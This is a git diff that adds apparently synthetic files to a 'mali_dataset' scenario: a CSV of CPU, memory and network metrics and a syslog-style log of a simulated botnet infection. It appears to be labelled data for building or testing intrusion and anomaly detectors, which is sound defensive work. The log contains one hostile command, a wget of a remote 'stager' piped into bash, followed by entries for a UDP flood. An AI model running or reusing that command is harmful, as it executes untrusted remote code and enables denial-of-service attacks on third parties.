SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=52230 DPT=8080 +Sep 14 11:06:00 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=40244 DPT=8080 +Sep 14 11:06:25 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=44698 DPT=8080 +Sep 14 11:06:40 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=58032 DPT=8080 +Sep 14 11:07:00 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=36811 DPT=8080 +Sep 14 11:07:20 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=50255 DPT=8080 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_2.csv b/mali_dataset/scenario_2/mali_2_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..223235cf8286e8e21b59a4068c6461cd17289d7e --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T14:00:00Z,17.22,44.28,23.44,1.71,2.84 +2025-08-16T14:00:05Z,11.32,49.9,26.3,1.84,1.75 +2025-08-16T14:00:10Z,12.84,42.61,25.28,1.28,2.63 +2025-08-16T14:00:15Z,8.59,44.88,25.65,1.45,2.92 +2025-08-16T14:00:20Z,13.44,44.99,33.85,1.09,2.43 +2025-08-16T14:00:25Z,12.5,40.6,22.17,1.23,1.77 +2025-08-16T14:00:30Z,9.87,46.73,26.89,1.89,1.68 +2025-08-16T14:00:35Z,15.81,42.72,24.77,1.84,2.24 +2025-08-16T14:00:40Z,14.33,44.26,32.32,1.59,2.5 +2025-08-16T14:00:45Z,11.08,41.93,26.11,1.1,2.06 +2025-08-16T14:00:50Z,8.06,48.38,23.34,1.45,1.86 +2025-08-16T14:00:55Z,10.26,45.35,29.59,1.71,1.97 +2025-08-16T14:01:00Z,8.96,46.66,32.58,1.08,2.51 +2025-08-16T14:01:05Z,11.58,45.16,26.56,1.5,2.95 +2025-08-16T14:01:10Z,13.92,48.09,21.18,1.33,2.9 +2025-08-16T14:01:15Z,9.0,49.78,25.43,1.38,2.31 +2025-08-16T14:01:20Z,11.76,49.76,30.8,1.68,2.85 +2025-08-16T14:01:25Z,15.9,46.78,21.7,1.49,2.09 +2025-08-16T14:01:30Z,9.06,41.73,24.66,1.94,1.83 +2025-08-16T14:01:35Z,12.81,47.19,21.52,1.66,1.92 +2025-08-16T14:01:40Z,10.35,43.06,26.7,1.48,1.6 +2025-08-16T14:01:45Z,17.36,45.88,23.26,1.26,1.81 +2025-08-16T14:01:50Z,9.53,46.58,33.72,1.73,2.05 +2025-08-16T14:01:55Z,14.45,49.0,24.72,1.47,2.76 +2025-08-16T14:02:00Z,10.91,41.46,25.78,1.1,1.56 +2025-08-16T14:02:05Z,11.33,41.67,33.2,1.4,1.73 +2025-08-16T14:02:10Z,16.21,48.83,22.45,1.81,1.52 +2025-08-16T14:02:15Z,10.95,47.96,21.89,1.83,2.34 +2025-08-16T14:02:20Z,17.16,40.57,22.49,1.67,2.0 +2025-08-16T14:02:25Z,96.84,54.58,3.38,0.3,1059.01 +2025-08-16T14:02:30Z,96.25,54.91,3.84,0.42,1126.28 +2025-08-16T14:02:35Z,96.53,52.31,3.87,0.26,1125.28 +2025-08-16T14:02:40Z,97.16,58.36,5.64,0.39,1165.0 +2025-08-16T14:02:45Z,99.58,50.5,5.38,0.53,1064.0 +2025-08-16T14:02:50Z,98.07,51.95,4.21,0.52,1152.07 +2025-08-16T14:02:55Z,98.97,51.52,4.03,0.34,1190.93 +2025-08-16T14:03:00Z,99.96,50.18,4.91,0.29,1003.75 +2025-08-16T14:03:05Z,98.59,57.27,4.46,0.51,1029.89 +2025-08-16T14:03:10Z,97.74,55.88,4.95,0.35,940.85 +2025-08-16T14:03:15Z,98.84,52.56,4.71,0.25,967.49 +2025-08-16T14:03:20Z,97.32,51.51,5.97,0.5,941.62 +2025-08-16T14:03:25Z,97.7,53.45,4.9,0.47,1052.71 +2025-08-16T14:03:30Z,96.1,58.4,2.69,0.55,1015.08 +2025-08-16T14:03:35Z,97.05,51.93,4.21,0.22,1191.36 +2025-08-16T14:03:40Z,96.67,55.91,5.65,0.52,1005.05 +2025-08-16T14:03:45Z,97.61,57.05,2.75,0.37,1131.66 +2025-08-16T14:03:50Z,99.97,58.06,2.94,0.53,1006.65 +2025-08-16T14:03:55Z,96.82,53.91,2.97,0.27,1153.15 +2025-08-16T14:04:00Z,99.43,56.91,3.83,0.22,968.28 +2025-08-16T14:04:05Z,96.31,57.54,3.96,0.25,1063.54 +2025-08-16T14:04:10Z,99.99,54.56,5.48,0.46,1043.32 +2025-08-16T14:04:15Z,98.7,59.75,5.58,0.56,919.87 +2025-08-16T14:04:20Z,98.63,50.15,3.23,0.37,1181.51 +2025-08-16T14:04:25Z,98.38,53.78,5.12,0.6,1171.03 +2025-08-16T14:04:30Z,97.88,55.79,4.9,0.42,1101.1 +2025-08-16T14:04:35Z,96.86,50.5,3.16,0.5,1098.11 +2025-08-16T14:04:40Z,98.78,55.29,2.74,0.38,1099.16 +2025-08-16T14:04:45Z,99.11,54.31,3.68,0.55,1010.64 +2025-08-16T14:04:50Z,98.73,58.64,5.25,0.22,956.76 +2025-08-16T14:04:55Z,98.16,53.44,3.44,0.47,982.96 +2025-08-16T14:05:00Z,97.2,57.28,3.54,0.45,971.1 +2025-08-16T14:05:05Z,98.96,54.04,5.9,0.38,912.19 +2025-08-16T14:05:10Z,99.2,53.17,2.29,0.44,999.03 +2025-08-16T14:05:15Z,97.92,57.86,2.16,0.52,1167.78 +2025-08-16T14:05:20Z,98.44,52.7,5.06,0.23,1177.06 +2025-08-16T14:05:25Z,96.1,55.61,4.36,0.51,975.99 +2025-08-16T14:05:30Z,96.77,55.34,5.28,0.32,1190.53 +2025-08-16T14:05:35Z,98.72,59.96,3.64,0.4,1042.35 +2025-08-16T14:05:40Z,99.98,55.92,5.69,0.55,1150.44 +2025-08-16T14:05:45Z,96.81,51.53,5.53,0.39,982.31 +2025-08-16T14:05:50Z,96.22,51.93,2.97,0.39,1043.19 +2025-08-16T14:05:55Z,97.31,55.82,4.65,0.47,1054.45 +2025-08-16T14:06:00Z,96.58,51.77,2.71,0.45,1041.66 +2025-08-16T14:06:05Z,96.26,59.71,2.72,0.58,982.57 +2025-08-16T14:06:10Z,99.05,55.21,2.36,0.26,971.67 +2025-08-16T14:06:15Z,98.17,55.4,4.25,0.22,1143.82 +2025-08-16T14:06:20Z,98.97,52.86,4.93,0.22,919.98 +2025-08-16T14:06:25Z,96.05,52.61,3.37,0.55,937.66 +2025-08-16T14:06:30Z,98.12,55.15,2.66,0.48,1030.11 +2025-08-16T14:06:35Z,12.67,49.51,27.96,1.15,2.79 +2025-08-16T14:06:40Z,18.81,47.25,27.74,1.74,3.39 +2025-08-16T14:06:45Z,12.81,42.51,28.12,1.73,2.4 +2025-08-16T14:06:50Z,13.03,49.39,24.06,1.2,2.45 +2025-08-16T14:06:55Z,10.27,43.46,34.07,1.0,2.71 +2025-08-16T14:07:00Z,15.3,50.38,32.3,0.89,3.25 +2025-08-16T14:07:05Z,18.48,47.74,33.49,1.4,3.46 +2025-08-16T14:07:10Z,19.58,44.71,26.94,1.16,3.1 +2025-08-16T14:07:15Z,13.33,44.94,36.87,0.87,2.36 +2025-08-16T14:07:20Z,11.1,45.01,30.85,1.44,2.56 +2025-08-16T14:07:25Z,10.01,46.56,28.47,1.55,2.16 diff --git a/mali_dataset/scenario_2/mali_2_2.log b/mali_dataset/scenario_2/mali_2_2.log new file mode 100644 index 0000000000000000000000000000000000000000..85a362b33a9c09c4a41d6d660393236ba2a7de06 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_2.log @@ -0,0 +1,366 @@ +Aug 16 14:00:00 systemd[1]: Starting Clean php session files... +Aug 16 14:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:01:40 systemd[1]: Starting Clean php session files... +Aug 16 14:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:02:25 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 14:02:27 bot-agent[23499]: Executing UDP flood against 203.0.113.74:80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53391 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18965 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62518 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61426 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49705 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19706 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64367 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34365 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26283 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14961 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40756 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21892 DPT=80 +Aug 16 14:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30082 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62094 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35084 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25456 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42561 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27663 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64598 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28498 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52000 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16026 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36680 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34227 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41461 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58872 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45684 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10247 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50400 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26535 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25149 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38482 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54907 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57824 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17155 DPT=80 +Aug 16 14:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36619 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21847 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34987 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43028 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59921 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35321 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35281 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19366 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11968 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14673 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56973 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43616 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51249 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37864 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17646 DPT=80 +Aug 16 14:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21181 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34823 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34266 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22390 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=60026 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57370 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32392 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59027 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22225 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61274 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47593 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29390 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11321 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56733 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44784 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23860 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57892 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17183 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62871 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23495 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10876 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54983 DPT=80 +Aug 16 14:03:20 systemd[1]: Starting Clean php session files... +Aug 16 14:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51326 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24252 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24631 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54671 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13059 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55274 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59829 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37593 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23056 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53046 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39303 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61362 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23016 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31782 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22404 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17729 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31682 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56782 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14495 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21404 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55137 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13374 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29754 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63648 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29310 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58365 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30894 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11224 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=65310 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=46363 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53527 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61311 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45145 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27449 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62568 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52616 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44123 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58291 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44069 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48590 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53938 DPT=80 +Aug 16 14:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17121 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21600 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49088 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24099 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10737 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62346 DPT=80 +Aug 16 14:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56287 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53186 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61685 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43506 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21994 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24672 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19954 DPT=80 +Aug 16 14:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29988 DPT=80 +Aug 16 14:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62835 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26187 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44634 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 